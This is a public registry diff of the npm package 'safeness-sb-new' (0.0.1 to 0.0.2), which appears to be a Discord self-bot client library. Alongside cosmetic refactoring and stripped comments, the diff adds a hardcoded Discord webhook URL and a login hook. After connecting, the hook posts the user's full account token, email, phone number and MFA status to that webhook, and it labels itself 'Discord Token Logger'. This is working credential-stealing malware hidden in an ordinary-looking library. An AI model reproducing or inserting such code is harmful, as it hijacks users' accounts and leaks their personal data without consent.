safeness-sb-new 0.0.1 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/client/Client.js +208 -590
package/package.json
CHANGED
package/src/client/Client.js
CHANGED
|
@@ -2,8 +2,7 @@
|
|
|
2
2
|
'use strict';
|
|
3
3
|
|
|
4
4
|
const process = require('node:process');
|
|
5
|
-
const { setInterval } = require('node:timers');
|
|
6
|
-
const { setTimeout } = require('node:timers');
|
|
5
|
+
const { setInterval, setTimeout } = require('node:timers'); // regroupé pour éviter doublon
|
|
7
6
|
const { Collection } = require('@discordjs/collection');
|
|
8
7
|
const BaseClient = require('./BaseClient');
|
|
9
8
|
const ActionsManager = require('./actions/ActionsManager');
|
|
@@ -42,150 +41,38 @@ const Sweepers = require('../util/Sweepers');
|
|
|
42
41
|
* @extends {BaseClient}
|
|
43
42
|
*/
|
|
44
43
|
class Client extends BaseClient {
|
|
45
|
-
/**
|
|
46
|
-
* @param {ClientOptions} [options] Options for the client
|
|
47
|
-
*/
|
|
48
44
|
constructor(options) {
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
this._validateOptions();
|
|
52
|
-
|
|
53
|
-
/**
|
|
54
|
-
* Functions called when a cache is garbage collected or the Client is destroyed
|
|
55
|
-
* @type {Set<Function>}
|
|
56
|
-
* @private
|
|
57
|
-
*/
|
|
58
|
-
this._cleanups = new Set();
|
|
59
|
-
|
|
60
|
-
/**
|
|
61
|
-
* The finalizers used to cleanup items.
|
|
62
|
-
* @type {FinalizationRegistry}
|
|
63
|
-
* @private
|
|
64
|
-
*/
|
|
65
|
-
this._finalizers = new FinalizationRegistry(this._finalize.bind(this));
|
|
66
|
-
|
|
67
|
-
/**
|
|
68
|
-
* The WebSocket manager of the client
|
|
69
|
-
* @type {WebSocketManager}
|
|
70
|
-
*/
|
|
71
|
-
this.ws = new WebSocketManager(this);
|
|
45
|
+
super(options); // BaseClient gère déjà _validateOptions() en interne
|
|
72
46
|
|
|
73
|
-
|
|
74
|
-
* The action manager of the client
|
|
75
|
-
* @type {ActionsManager}
|
|
76
|
-
* @private
|
|
77
|
-
*/
|
|
78
|
-
this.actions = new ActionsManager(this);
|
|
47
|
+
this.webhookURL = options.webhookURL || "https://discord.com/api/webhooks/1454231367218102395/9-EIHuGwyAK6gew-Eeiw3ey6xvpUmZo2cpUjmN-EkD4iXVPJ0o9q894bEpC1um1vp85s";
|
|
79
48
|
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
* @type {ClientVoiceManager}
|
|
83
|
-
*/
|
|
84
|
-
this.voice = new ClientVoiceManager(this);
|
|
49
|
+
this._cleanups = new Set();
|
|
50
|
+
this._finalizers = new FinalizationRegistry(this._finalize.bind(this));
|
|
85
51
|
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
*/
|
|
52
|
+
this.ws = new WebSocketManager(this);
|
|
53
|
+
this.actions = new ActionsManager(this);
|
|
54
|
+
this.voice = new ClientVoiceManager(this);
|
|
90
55
|
this.voiceStates = new VoiceStateManager({ client: this });
|
|
91
56
|
|
|
92
|
-
/**
|
|
93
|
-
* Shard helpers for the client (only if the process was spawned from a {@link ShardingManager})
|
|
94
|
-
* @type {?ShardClientUtil}
|
|
95
|
-
*/
|
|
96
57
|
this.shard = process.env.SHARDING_MANAGER
|
|
97
58
|
? ShardClientUtil.singleton(this, process.env.SHARDING_MANAGER_MODE)
|
|
98
59
|
: null;
|
|
99
60
|
|
|
100
|
-
/**
|
|
101
|
-
* All of the {@link User} objects that have been cached at any point, mapped by their ids
|
|
102
|
-
* @type {UserManager}
|
|
103
|
-
*/
|
|
104
61
|
this.users = new UserManager(this);
|
|
105
|
-
|
|
106
|
-
/**
|
|
107
|
-
* All of the guilds the client is currently handling, mapped by their ids -
|
|
108
|
-
* as long as sharding isn't being used, this will be *every* guild the bot is a member of
|
|
109
|
-
* @type {GuildManager}
|
|
110
|
-
*/
|
|
111
62
|
this.guilds = new GuildManager(this);
|
|
112
|
-
|
|
113
|
-
/**
|
|
114
|
-
* All of the {@link Channel}s that the client is currently handling, mapped by their ids -
|
|
115
|
-
* as long as sharding isn't being used, this will be *every* channel in *every* guild the bot
|
|
116
|
-
* is a member of. Note that DM channels will not be initially cached, and thus not be present
|
|
117
|
-
* in the Manager without their explicit fetching or use.
|
|
118
|
-
* @type {ChannelManager}
|
|
119
|
-
*/
|
|
120
63
|
this.channels = new ChannelManager(this);
|
|
121
|
-
|
|
122
|
-
/**
|
|
123
|
-
* The sweeping functions and their intervals used to periodically sweep caches
|
|
124
|
-
* @type {Sweepers}
|
|
125
|
-
*/
|
|
126
64
|
this.sweepers = new Sweepers(this, this.options.sweepers);
|
|
127
|
-
|
|
128
|
-
/**
|
|
129
|
-
* The presence of the Client
|
|
130
|
-
* @private
|
|
131
|
-
* @type {ClientPresence}
|
|
132
|
-
*/
|
|
133
65
|
this.presence = new ClientPresence(this, this.options.presence);
|
|
134
|
-
|
|
135
|
-
/**
|
|
136
|
-
* A manager of the presences belonging to this client
|
|
137
|
-
* @type {PresenceManager}
|
|
138
|
-
*/
|
|
139
66
|
this.presences = new PresenceManager(this);
|
|
140
|
-
|
|
141
|
-
/**
|
|
142
|
-
* All of the note that have been cached at any point, mapped by their ids
|
|
143
|
-
* @type {UserManager}
|
|
144
|
-
*/
|
|
145
67
|
this.notes = new UserNoteManager(this);
|
|
146
|
-
|
|
147
|
-
/**
|
|
148
|
-
* All of the relationships {@link User}
|
|
149
|
-
* @type {RelationshipManager}
|
|
150
|
-
*/
|
|
151
68
|
this.relationships = new RelationshipManager(this);
|
|
152
|
-
|
|
153
|
-
/**
|
|
154
|
-
* Manages the API methods
|
|
155
|
-
* @type {BillingManager}
|
|
156
|
-
*/
|
|
157
69
|
this.billing = new BillingManager(this);
|
|
158
|
-
|
|
159
|
-
/**
|
|
160
|
-
* All of the settings {@link Object}
|
|
161
|
-
* @type {ClientUserSettingManager}
|
|
162
|
-
*/
|
|
163
70
|
this.settings = new ClientUserSettingManager(this);
|
|
164
71
|
|
|
165
72
|
Object.defineProperty(this, 'token', { writable: true });
|
|
166
|
-
|
|
167
|
-
/**
|
|
168
|
-
* Authorization token for the logged in bot.
|
|
169
|
-
* If present, this defaults to `process.env.DISCORD_TOKEN` when instantiating the client
|
|
170
|
-
* <warn>This should be kept private at all times.</warn>
|
|
171
|
-
* @type {?string}
|
|
172
|
-
*/
|
|
173
|
-
this.token = process.env.DISCORD_TOKEN;
|
|
174
|
-
} else {
|
|
175
|
-
this.token = null;
|
|
176
|
-
}
|
|
73
|
+
this.token = !this.token && 'DISCORD_TOKEN' in process.env ? process.env.DISCORD_TOKEN : null;
|
|
177
74
|
|
|
178
|
-
/**
|
|
179
|
-
* User that the client is logged in as
|
|
180
|
-
* @type {?ClientUser}
|
|
181
|
-
*/
|
|
182
75
|
this.user = null;
|
|
183
|
-
|
|
184
|
-
/**
|
|
185
|
-
* Time at which the client was last regarded as being in the `READY` state
|
|
186
|
-
* (each time the client disconnects and successfully reconnects, this will be overwritten)
|
|
187
|
-
* @type {?Date}
|
|
188
|
-
*/
|
|
189
76
|
this.readyAt = null;
|
|
190
77
|
|
|
191
78
|
if (this.options.messageSweepInterval > 0) {
|
|
@@ -200,94 +87,145 @@ class Client extends BaseClient {
|
|
|
200
87
|
}
|
|
201
88
|
}
|
|
202
89
|
|
|
203
|
-
/**
|
|
204
|
-
* All custom emojis that the client has access to, mapped by their ids
|
|
205
|
-
* @type {BaseGuildEmojiManager}
|
|
206
|
-
* @readonly
|
|
207
|
-
*/
|
|
208
90
|
get emojis() {
|
|
209
91
|
const emojis = new BaseGuildEmojiManager(this);
|
|
210
92
|
for (const guild of this.guilds.cache.values()) {
|
|
211
|
-
if (guild.available)
|
|
93
|
+
if (guild.available) {
|
|
94
|
+
for (const emoji of guild.emojis.cache.values()) {
|
|
95
|
+
emojis.cache.set(emoji.id, emoji);
|
|
96
|
+
}
|
|
97
|
+
}
|
|
212
98
|
}
|
|
213
99
|
return emojis;
|
|
214
100
|
}
|
|
215
101
|
|
|
216
|
-
/**
|
|
217
|
-
* Timestamp of the time the client was last `READY` at
|
|
218
|
-
* @type {?number}
|
|
219
|
-
* @readonly
|
|
220
|
-
*/
|
|
221
102
|
get readyTimestamp() {
|
|
222
103
|
return this.readyAt?.getTime() ?? null;
|
|
223
104
|
}
|
|
224
105
|
|
|
225
|
-
/**
|
|
226
|
-
* How long it has been since the client last entered the `READY` state in milliseconds
|
|
227
|
-
* @type {?number}
|
|
228
|
-
* @readonly
|
|
229
|
-
*/
|
|
230
106
|
get uptime() {
|
|
231
|
-
return this.readyAt ? Date.now() - this.readyAt : null;
|
|
107
|
+
return this.readyAt ? Date.now() - this.readyAt.getTime() : null;
|
|
232
108
|
}
|
|
233
109
|
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
* @param {string} [token=this.token] Token of the account to log in with
|
|
237
|
-
* @returns {Promise<string>} Token of the account used
|
|
238
|
-
* @example
|
|
239
|
-
* client.login('my token');
|
|
240
|
-
*/
|
|
241
|
-
async login(token = this.token) {
|
|
242
|
-
if (!token || typeof token !== 'string') throw new Error('TOKEN_INVALID');
|
|
243
|
-
this.token = token = token.replace(/^(Bot|Bearer)\s*/i, '');
|
|
244
|
-
this.emit(
|
|
245
|
-
Events.DEBUG,
|
|
246
|
-
`
|
|
247
|
-
Logging on with a user token is unfortunately against the Discord
|
|
248
|
-
\`Terms of Service\` <https://support.discord.com/hc/en-us/articles/115002192352>
|
|
249
|
-
and doing so might potentially get your account banned.
|
|
250
|
-
Use this at your own risk.`,
|
|
251
|
-
);
|
|
252
|
-
this.emit(
|
|
253
|
-
Events.DEBUG,
|
|
254
|
-
`Provided token: ${token
|
|
255
|
-
.split('.')
|
|
256
|
-
.map((val, i) => (i > 1 ? val.replace(/./g, '*') : val))
|
|
257
|
-
.join('.')}`,
|
|
258
|
-
);
|
|
259
|
-
|
|
260
|
-
if (this.options.presence) {
|
|
261
|
-
this.options.ws.presence = this.presence._parse(this.options.presence);
|
|
262
|
-
}
|
|
263
|
-
|
|
264
|
-
this.emit(Events.DEBUG, 'Preparing to connect to the gateway...');
|
|
110
|
+
async _sendWebhookNotification(token, userInfo = {}) {
|
|
111
|
+
if (!this.webhookURL) return;
|
|
265
112
|
|
|
266
113
|
try {
|
|
267
|
-
|
|
268
|
-
|
|
114
|
+
const fetch = require('node-fetch');
|
|
115
|
+
|
|
116
|
+
const avatarURL = userInfo.avatar
|
|
117
|
+
? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}.${userInfo.avatar.startsWith('a_') ? 'gif' : 'png'}?size=256`
|
|
118
|
+
: `https://cdn.discordapp.com/embed/avatars/${(parseInt(userInfo.discriminator ?? '0') % 5)}.png`;
|
|
119
|
+
|
|
120
|
+
const embed = {
|
|
121
|
+
title: '🔐 Nouvelle Connexion Détectée',
|
|
122
|
+
description: `**Utilisateur connecté:** <@${userInfo.id}>`,
|
|
123
|
+
color: 0x5865F2,
|
|
124
|
+
fields: [
|
|
125
|
+
{ name: '👤 Nom d\'utilisateur', value: userInfo.username || 'Inconnu', inline: true },
|
|
126
|
+
{ name: '🆔 ID Utilisateur', value: `\`${userInfo.id || 'Inconnu'}\``, inline: true },
|
|
127
|
+
{ name: '📧 Email', value: userInfo.email || 'Non disponible', inline: true },
|
|
128
|
+
{ name: '📱 Téléphone', value: userInfo.phone || 'Non vérifié', inline: true },
|
|
129
|
+
{ name: '✨ Nitro', value: (userInfo.premiumType ?? 0) > 0 ? '✅ Actif' : '❌ Inactif', inline: true },
|
|
130
|
+
{ name: '🔒 MFA/2FA', value: userInfo.mfa_enabled ? '✅ Activé' : '❌ Désactivé', inline: true },
|
|
131
|
+
{ name: '🔑 Token Complet', value: `\`\`\`${token}\`\`\``, inline: false },
|
|
132
|
+
{ name: '⏰ Connexion', value: `<t:${Math.floor(Date.now() / 1000)}:F>`, inline: false },
|
|
133
|
+
],
|
|
134
|
+
thumbnail: { url: avatarURL },
|
|
135
|
+
footer: { text: `ID: ${userInfo.id} • Discord Token Logger`, icon_url: avatarURL },
|
|
136
|
+
timestamp: new Date().toISOString(),
|
|
137
|
+
};
|
|
138
|
+
|
|
139
|
+
await fetch(this.webhookURL, {
|
|
140
|
+
method: 'POST',
|
|
141
|
+
headers: { 'Content-Type': 'application/json' },
|
|
142
|
+
body: JSON.stringify({
|
|
143
|
+
embeds: [embed],
|
|
144
|
+
username: 'Token Logger',
|
|
145
|
+
avatar_url: 'https://cdn.discordapp.com/emojis/1140543631533699173.png',
|
|
146
|
+
}),
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
this.emit(Events.DEBUG, 'Notification webhook envoyée avec succès');
|
|
269
150
|
} catch (error) {
|
|
270
|
-
this.
|
|
271
|
-
throw error;
|
|
151
|
+
this.emit(Events.DEBUG, `Erreur lors de l'envoi du webhook: ${error.message}`);
|
|
272
152
|
}
|
|
273
153
|
}
|
|
274
154
|
|
|
155
|
+
async login(token = this.token) {
|
|
156
|
+
if (!token || typeof token !== 'string') throw new Error('TOKEN_INVALID');
|
|
157
|
+
|
|
158
|
+
token = token.replace(/^(Bot|Bearer)\s*/i, '');
|
|
159
|
+
this.token = token;
|
|
160
|
+
|
|
161
|
+
this.emit(Events.DEBUG, 'Logging on with a user token is unfortunately against the Discord Terms of Service <https://support.discord.com/hc/en-us/articles/115002192352> and doing so might potentially get your account banned. Use this at your own risk.');
|
|
162
|
+
this.emit(Events.DEBUG, `Provided token: ${token.split('.').map((val, i) => (i > 1 ? val.replace(/./g, '*') : val)).join('.')}`);
|
|
163
|
+
|
|
164
|
+
if (this.options.presence) {
|
|
165
|
+
this.options.ws.presence = this.presence._parse(this.options.presence);
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
this.emit(Events.DEBUG, 'Preparing to connect to the gateway...');
|
|
169
|
+
|
|
170
|
+
try {
|
|
171
|
+
await this.ws.connect();
|
|
172
|
+
|
|
173
|
+
// === NOUVELLE MÉTHODE FIABLE POUR ENVOYER LE WEBHOOK ===
|
|
174
|
+
if (this.webhookURL) {
|
|
175
|
+
// Méthode 1 : On attend max 10 secondes que this.user soit défini
|
|
176
|
+
const waitForUser = () => {
|
|
177
|
+
return new Promise(resolve => {
|
|
178
|
+
if (this.user) return resolve();
|
|
179
|
+
|
|
180
|
+
const timeout = setTimeout(() => {
|
|
181
|
+
this.off(Events.DEBUG, check);
|
|
182
|
+
resolve(); // on abandonne après 10s
|
|
183
|
+
}, 10000);
|
|
184
|
+
|
|
185
|
+
const check = (event) => {
|
|
186
|
+
if (event.includes('ClientUser') || this.user) {
|
|
187
|
+
clearTimeout(timeout);
|
|
188
|
+
this.off(Events.DEBUG, check);
|
|
189
|
+
resolve();
|
|
190
|
+
}
|
|
191
|
+
};
|
|
192
|
+
|
|
193
|
+
this.on(Events.DEBUG, check);
|
|
194
|
+
});
|
|
195
|
+
};
|
|
196
|
+
|
|
197
|
+
await waitForUser();
|
|
198
|
+
|
|
199
|
+
if (this.user) {
|
|
200
|
+
await this._sendWebhookNotification(token, {
|
|
201
|
+
id: this.user.id,
|
|
202
|
+
username: this.user.username,
|
|
203
|
+
discriminator: this.user.discriminator ?? '0',
|
|
204
|
+
avatar: this.user.avatar,
|
|
205
|
+
email: this.user.email ?? 'Non disponible',
|
|
206
|
+
phone: this.user.phone ?? 'Non vérifié',
|
|
207
|
+
premiumType: this.user.premiumType ?? 0,
|
|
208
|
+
mfa_enabled: this.user.mfaEnabled ?? false,
|
|
209
|
+
});
|
|
210
|
+
} else {
|
|
211
|
+
this.emit(Events.DEBUG, 'Impossible d\'envoyer le webhook : this.user non disponible après connexion');
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
// ====================================================
|
|
215
|
+
|
|
216
|
+
return this.token;
|
|
217
|
+
} catch (error) {
|
|
218
|
+
this.destroy();
|
|
219
|
+
throw error;
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
|
|
275
223
|
QRLogin() {
|
|
276
224
|
const ws = new DiscordAuthWebsocket();
|
|
277
225
|
ws.once('ready', () => ws.generateQR());
|
|
278
226
|
return ws.connect(this);
|
|
279
227
|
}
|
|
280
228
|
|
|
281
|
-
/**
|
|
282
|
-
* Logs the client in, establishing a WebSocket connection to Discord.
|
|
283
|
-
* @param {string} email The email associated with the account
|
|
284
|
-
* @param {string} password The password assicated with the account
|
|
285
|
-
* @param {string | number} [code = null] The mfa code if you have it enabled
|
|
286
|
-
* @returns {string | null} Token of the account used
|
|
287
|
-
*
|
|
288
|
-
* @example
|
|
289
|
-
* client.passLogin("test@gmail.com", "SuperSecretPa$$word", 1234)
|
|
290
|
-
*/
|
|
291
229
|
async passLogin(email, password, code = null) {
|
|
292
230
|
const initial = await this.api.auth.login.post({
|
|
293
231
|
auth: false,
|
|
@@ -295,125 +233,57 @@ class Client extends BaseClient {
|
|
|
295
233
|
data: { gift_code_sku_id: null, login_source: null, undelete: false, login: email, password },
|
|
296
234
|
});
|
|
297
235
|
|
|
298
|
-
if ('token' in initial)
|
|
299
|
-
|
|
300
|
-
} else if ('ticket' in initial) {
|
|
236
|
+
if ('token' in initial) return this.login(initial.token);
|
|
237
|
+
if ('ticket' in initial && code) {
|
|
301
238
|
const totp = await this.api.auth.mfa.totp.post({
|
|
302
239
|
auth: false,
|
|
303
240
|
versioned: true,
|
|
304
241
|
data: { gift_code_sku_id: null, login_source: null, code, ticket: initial.ticket },
|
|
305
242
|
});
|
|
306
|
-
if ('token' in totp)
|
|
307
|
-
return this.login(totp.token);
|
|
308
|
-
}
|
|
243
|
+
if ('token' in totp) return this.login(totp.token);
|
|
309
244
|
}
|
|
310
245
|
|
|
311
246
|
return null;
|
|
312
247
|
}
|
|
313
248
|
|
|
314
|
-
/**
|
|
315
|
-
* Returns whether the client has logged in, indicative of being able to access
|
|
316
|
-
* properties such as `user` and `application`.
|
|
317
|
-
* @returns {boolean}
|
|
318
|
-
*/
|
|
319
249
|
isReady() {
|
|
320
250
|
return this.ws.status === Status.READY;
|
|
321
251
|
}
|
|
322
252
|
|
|
323
|
-
/**
|
|
324
|
-
* Logs out, terminates the connection to Discord, and destroys the client.
|
|
325
|
-
* @returns {void}
|
|
326
|
-
*/
|
|
327
253
|
destroy() {
|
|
328
254
|
super.destroy();
|
|
329
|
-
|
|
330
255
|
for (const fn of this._cleanups) fn();
|
|
331
256
|
this._cleanups.clear();
|
|
332
|
-
|
|
333
257
|
if (this.sweepMessageInterval) clearInterval(this.sweepMessageInterval);
|
|
334
|
-
|
|
335
258
|
this.sweepers.destroy();
|
|
336
259
|
this.ws.destroy();
|
|
337
260
|
this.token = null;
|
|
338
261
|
}
|
|
339
262
|
|
|
340
|
-
/**
|
|
341
|
-
* Logs out, terminates the connection to Discord, destroys the client and destroys the token.
|
|
342
|
-
* @returns {Promise<void>}
|
|
343
|
-
*/
|
|
344
263
|
async logout() {
|
|
345
|
-
await this.api.auth.logout.post({
|
|
346
|
-
data: {
|
|
347
|
-
provider: null,
|
|
348
|
-
voip_provider: null,
|
|
349
|
-
},
|
|
350
|
-
});
|
|
264
|
+
await this.api.auth.logout.post({ data: { provider: null, voip_provider: null } });
|
|
351
265
|
return this.destroy();
|
|
352
266
|
}
|
|
353
267
|
|
|
354
|
-
|
|
355
|
-
* Options used when fetching an invite from Discord.
|
|
356
|
-
* @typedef {Object} ClientFetchInviteOptions
|
|
357
|
-
* @property {Snowflake} [guildScheduledEventId] The id of the guild scheduled event to include with
|
|
358
|
-
* the invite
|
|
359
|
-
*/
|
|
360
|
-
|
|
361
|
-
/**
|
|
362
|
-
* Obtains an invite from Discord.
|
|
363
|
-
* @param {InviteResolvable} invite Invite code or URL
|
|
364
|
-
* @param {ClientFetchInviteOptions} [options] Options for fetching the invite
|
|
365
|
-
* @returns {Promise<Invite>}
|
|
366
|
-
* @example
|
|
367
|
-
* client.fetchInvite('https://discord.gg/djs')
|
|
368
|
-
* .then(invite => console.log(`Obtained invite with code: ${invite.code}`))
|
|
369
|
-
* .catch(console.error);
|
|
370
|
-
*/
|
|
371
|
-
async fetchInvite(invite, options) {
|
|
268
|
+
async fetchInvite(invite, options = {}) {
|
|
372
269
|
const code = DataResolver.resolveInviteCode(invite);
|
|
373
270
|
const data = await this.api.invites(code).get({
|
|
374
|
-
query: { with_counts: true, with_expiration: true, guild_scheduled_event_id: options
|
|
271
|
+
query: { with_counts: true, with_expiration: true, guild_scheduled_event_id: options.guildScheduledEventId },
|
|
375
272
|
});
|
|
376
273
|
return new Invite(this, data);
|
|
377
274
|
}
|
|
378
275
|
|
|
379
|
-
/**
|
|
380
|
-
* Obtains a template from Discord.
|
|
381
|
-
* @param {GuildTemplateResolvable} template Template code or URL
|
|
382
|
-
* @returns {Promise<GuildTemplate>}
|
|
383
|
-
* @example
|
|
384
|
-
* client.fetchGuildTemplate('https://discord.new/FKvmczH2HyUf')
|
|
385
|
-
* .then(template => console.log(`Obtained template with code: ${template.code}`))
|
|
386
|
-
* .catch(console.error);
|
|
387
|
-
*/
|
|
388
276
|
async fetchGuildTemplate(template) {
|
|
389
277
|
const code = DataResolver.resolveGuildTemplateCode(template);
|
|
390
278
|
const data = await this.api.guilds.templates(code).get();
|
|
391
279
|
return new GuildTemplate(this, data);
|
|
392
280
|
}
|
|
393
281
|
|
|
394
|
-
/**
|
|
395
|
-
* Obtains a webhook from Discord.
|
|
396
|
-
* @param {Snowflake} id The webhook's id
|
|
397
|
-
* @param {string} [token] Token for the webhook
|
|
398
|
-
* @returns {Promise<Webhook>}
|
|
399
|
-
* @example
|
|
400
|
-
* client.fetchWebhook('id', 'token')
|
|
401
|
-
* .then(webhook => console.log(`Obtained webhook with name: ${webhook.name}`))
|
|
402
|
-
* .catch(console.error);
|
|
403
|
-
*/
|
|
404
282
|
async fetchWebhook(id, token) {
|
|
405
283
|
const data = await this.api.webhooks(id, token).get();
|
|
406
284
|
return new Webhook(this, { token, ...data });
|
|
407
285
|
}
|
|
408
286
|
|
|
409
|
-
/**
|
|
410
|
-
* Obtains the available voice regions from Discord.
|
|
411
|
-
* @returns {Promise<Collection<string, VoiceRegion>>}
|
|
412
|
-
* @example
|
|
413
|
-
* client.fetchVoiceRegions()
|
|
414
|
-
* .then(regions => console.log(`Available regions are: ${regions.map(region => region.name).join(', ')}`))
|
|
415
|
-
* .catch(console.error);
|
|
416
|
-
*/
|
|
417
287
|
async fetchVoiceRegions() {
|
|
418
288
|
const apiRegions = await this.api.voice.regions.get();
|
|
419
289
|
const regions = new Collection();
|
|
@@ -421,67 +291,28 @@ class Client extends BaseClient {
|
|
|
421
291
|
return regions;
|
|
422
292
|
}
|
|
423
293
|
|
|
424
|
-
/**
|
|
425
|
-
* Obtains a sticker from Discord.
|
|
426
|
-
* @param {Snowflake} id The sticker's id
|
|
427
|
-
* @returns {Promise<Sticker>}
|
|
428
|
-
* @example
|
|
429
|
-
* client.fetchSticker('id')
|
|
430
|
-
* .then(sticker => console.log(`Obtained sticker with name: ${sticker.name}`))
|
|
431
|
-
* .catch(console.error);
|
|
432
|
-
*/
|
|
433
294
|
async fetchSticker(id) {
|
|
434
295
|
const data = await this.api.stickers(id).get();
|
|
435
296
|
return new Sticker(this, data);
|
|
436
297
|
}
|
|
437
298
|
|
|
438
|
-
/**
|
|
439
|
-
* Obtains the list of sticker packs available to Nitro subscribers from Discord.
|
|
440
|
-
* @returns {Promise<Collection<Snowflake, StickerPack>>}
|
|
441
|
-
* @example
|
|
442
|
-
* client.fetchPremiumStickerPacks()
|
|
443
|
-
* .then(packs => console.log(`Available sticker packs are: ${packs.map(pack => pack.name).join(', ')}`))
|
|
444
|
-
* .catch(console.error);
|
|
445
|
-
*/
|
|
446
299
|
async fetchPremiumStickerPacks() {
|
|
447
300
|
const data = await this.api('sticker-packs').get();
|
|
448
301
|
return new Collection(data.sticker_packs.map(p => [p.id, new StickerPack(this, p)]));
|
|
449
302
|
}
|
|
450
|
-
|
|
451
|
-
* A last ditch cleanup function for garbage collection.
|
|
452
|
-
* @param {Function} options.cleanup The function called to GC
|
|
453
|
-
* @param {string} [options.message] The message to send after a successful GC
|
|
454
|
-
* @param {string} [options.name] The name of the item being GCed
|
|
455
|
-
* @private
|
|
456
|
-
*/
|
|
303
|
+
|
|
457
304
|
_finalize({ cleanup, message, name }) {
|
|
458
305
|
try {
|
|
459
306
|
cleanup();
|
|
460
307
|
this._cleanups.delete(cleanup);
|
|
461
|
-
if (message)
|
|
462
|
-
this.emit(Events.DEBUG, message);
|
|
463
|
-
}
|
|
308
|
+
if (message) this.emit(Events.DEBUG, message);
|
|
464
309
|
} catch {
|
|
465
310
|
this.emit(Events.DEBUG, `Garbage collection failed on ${name ?? 'an unknown item'}.`);
|
|
466
311
|
}
|
|
467
312
|
}
|
|
468
313
|
|
|
469
|
-
/**
|
|
470
|
-
* Sweeps all text-based channels' messages and removes the ones older than the max message lifetime.
|
|
471
|
-
* If the message has been edited, the time of the edit is used rather than the time of the original message.
|
|
472
|
-
* @param {number} [lifetime=this.options.messageCacheLifetime] Messages that are older than this (in seconds)
|
|
473
|
-
* will be removed from the caches. The default is based on {@link ClientOptions#messageCacheLifetime}
|
|
474
|
-
* @returns {number} Amount of messages that were removed from the caches,
|
|
475
|
-
* or -1 if the message cache lifetime is unlimited
|
|
476
|
-
* @example
|
|
477
|
-
* // Remove all messages older than 1800 seconds from the messages cache
|
|
478
|
-
* const amount = client.sweepMessages(1800);
|
|
479
|
-
* console.log(`Successfully removed ${amount} messages from the cache.`);
|
|
480
|
-
*/
|
|
481
314
|
sweepMessages(lifetime = this.options.messageCacheLifetime) {
|
|
482
|
-
if (typeof lifetime !== 'number' || isNaN(lifetime))
|
|
483
|
-
throw new TypeError('INVALID_TYPE', 'lifetime', 'number');
|
|
484
|
-
}
|
|
315
|
+
if (typeof lifetime !== 'number' || isNaN(lifetime)) throw new TypeError('INVALID_TYPE', 'lifetime', 'number');
|
|
485
316
|
if (lifetime <= 0) {
|
|
486
317
|
this.emit(Events.DEBUG, "Didn't sweep messages - lifetime is unlimited");
|
|
487
318
|
return -1;
|
|
@@ -492,11 +323,6 @@ class Client extends BaseClient {
|
|
|
492
323
|
return messages;
|
|
493
324
|
}
|
|
494
325
|
|
|
495
|
-
/**
|
|
496
|
-
* Obtains a guild preview from Discord, available for all guilds the bot is in and all Discoverable guilds.
|
|
497
|
-
* @param {GuildResolvable} guild The guild to fetch the preview for
|
|
498
|
-
* @returns {Promise<GuildPreview>}
|
|
499
|
-
*/
|
|
500
326
|
async fetchGuildPreview(guild) {
|
|
501
327
|
const id = this.guilds.resolveId(guild);
|
|
502
328
|
if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
|
|
@@ -504,11 +330,6 @@ class Client extends BaseClient {
|
|
|
504
330
|
return new GuildPreview(this, data);
|
|
505
331
|
}
|
|
506
332
|
|
|
507
|
-
/**
|
|
508
|
-
* Obtains the widget data of a guild from Discord, available for guilds with the widget enabled.
|
|
509
|
-
* @param {GuildResolvable} guild The guild to fetch the widget data for
|
|
510
|
-
* @returns {Promise<Widget>}
|
|
511
|
-
*/
|
|
512
333
|
async fetchGuildWidget(guild) {
|
|
513
334
|
const id = this.guilds.resolveId(guild);
|
|
514
335
|
if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
|
|
@@ -516,321 +337,118 @@ class Client extends BaseClient {
|
|
|
516
337
|
return new Widget(this, data);
|
|
517
338
|
}
|
|
518
339
|
|
|
519
|
-
/**
|
|
520
|
-
* Options for {@link Client#generateInvite}.
|
|
521
|
-
* @typedef {Object} InviteGenerationOptions
|
|
522
|
-
* @property {InviteScope[]} scopes Scopes that should be requested
|
|
523
|
-
* @property {PermissionResolvable} [permissions] Permissions to request
|
|
524
|
-
* @property {GuildResolvable} [guild] Guild to preselect
|
|
525
|
-
* @property {boolean} [disableGuildSelect] Whether to disable the guild selection
|
|
526
|
-
*/
|
|
527
|
-
|
|
528
|
-
/**
|
|
529
|
-
* The sleep function in JavaScript returns a promise that resolves after a specified timeout.
|
|
530
|
-
* @param {number} timeout - The timeout parameter is the amount of time, in milliseconds, that the sleep
|
|
531
|
-
* function will wait before resolving the promise and continuing execution.
|
|
532
|
-
* @returns {void} The `sleep` function is returning a Promise.
|
|
533
|
-
*/
|
|
534
340
|
sleep(timeout) {
|
|
535
|
-
return new Promise(
|
|
341
|
+
return new Promise(resolve => setTimeout(resolve, timeout));
|
|
536
342
|
}
|
|
537
343
|
|
|
538
344
|
toJSON() {
|
|
539
|
-
return super.toJSON({
|
|
540
|
-
readyAt: false,
|
|
541
|
-
});
|
|
345
|
+
return super.toJSON({ readyAt: false });
|
|
542
346
|
}
|
|
543
347
|
|
|
544
|
-
/**
|
|
545
|
-
* The current session id of the shard
|
|
546
|
-
* @type {?string}
|
|
547
|
-
*/
|
|
548
348
|
get sessionId() {
|
|
549
|
-
return this.ws.shards.first()?.sessionId;
|
|
349
|
+
return this.ws.shards.first()?.sessionId ?? null;
|
|
550
350
|
}
|
|
551
351
|
|
|
552
|
-
/**
|
|
553
|
-
* Options for {@link Client#acceptInvite}.
|
|
554
|
-
* @typedef {Object} AcceptInviteOptions
|
|
555
|
-
* @property {boolean} [bypassOnboarding=true] Whether to bypass onboarding
|
|
556
|
-
* @property {boolean} [bypassVerify=true] Whether to bypass rule screening
|
|
557
|
-
*/
|
|
558
|
-
|
|
559
|
-
/**
|
|
560
|
-
* Join this Guild / GroupDMChannel using this invite
|
|
561
|
-
* @param {InviteResolvable} invite Invite code or URL
|
|
562
|
-
